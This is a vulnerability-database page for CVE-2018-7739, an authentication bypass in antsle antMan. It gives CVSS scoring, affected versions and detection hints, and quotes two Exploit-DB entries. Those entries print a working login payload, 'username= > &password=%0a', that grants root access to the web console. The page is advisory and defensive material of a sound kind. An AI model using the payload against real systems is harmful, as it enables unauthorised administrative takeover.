CVE-2018-7739
published 2018-03-07CVE-2018-7739: antsle antman before 0.9.1a allows remote attackers to bypass authentication via invalid characters in the username and password parameters, as demonstrated by…
PriorityP277critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
54.56%
98.9th percentile
antsle antman before 0.9.1a allows remote attackers to bypass authentication via invalid characters in the username and password parameters, as demonstrated by a username=>&password=%0a string to the /login URI. This allows obtaining root permissions within the web management console, because the login process uses Java's ProcessBuilder class and a bash script called antsle-auth with insufficient input validation.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| antsle | antman | <= 0.9.0c | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect POST requests to /login containing shell redirection characters (>) in the username parameter, indicating attempted command injection via the antsle-auth bash script. ↗
- →Monitor web traffic on port 3000 (antMan management console) for authentication bypass attempts using invalid/special characters in login POST parameters. ↗
- →The login process uses Java's ProcessBuilder class and a bash script called antsle-auth; monitor process spawning from the antMan web service for unexpected shell child processes. ↗
- ·The authentication bypass only affects antMan versions before 0.9.1a; ensure the patched version is deployed to remediate the vulnerability. ↗
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
antMan 0.9.0c - Authentication Bypass
exploitdb·2018-03-07
CVE-2018-7739 antMan 0.9.0c - Authentication Bypass
antMan 0.9.0c - Authentication Bypass
---
# Exploit Title: antMan and the password to a url-encoded linefeed (%0a), we can force the authentication script to produce return values not anticipated by the developer.
To exploit these defects, use a web proxy to intercept the login attempt and modify the POST parameters as follows:
#-------------------------
POST /login HTTP/1.1
Host: 10.1.1.7:3000
[snip]
username= > &password=%0a
#-------------------------
You will now be successfully authenticated to antMan as the administrative root user.
3. Solution:
Update to version 0.9.1a
Exploit-DB
antMan < 0.9.1a - Authentication Bypass
exploitdb·2018-03-02
CVE-2018-7739 antMan < 0.9.1a - Authentication Bypass
antMan and the password to a url-encoded linefeed (%0a), we can force the authentication script to produce return values not anticipated by the developer.
To exploit these defects, use a web proxy to intercept the login attempt and modify the POST parameters as follows:
#-------------------------
POST /login HTTP/1.1
Host: 10.1.1.7:3000
[snip]
username= > &password=%0a
#-------------------------
You will now be successfully authenticated to antMan as the administrative root user.
3. Solution:
Update to version 0.9.1a
No writeups or analysis indexed.
http://blog.codecatoctin.com/2018/02/antman-authentication-bypass.htmlhttps://www.exploit-db.com/exploits/44220/https://www.exploit-db.com/exploits/44262/http://blog.codecatoctin.com/2018/02/antman-authentication-bypass.htmlhttps://www.exploit-db.com/exploits/44220/https://www.exploit-db.com/exploits/44262/
2018-03-07
Published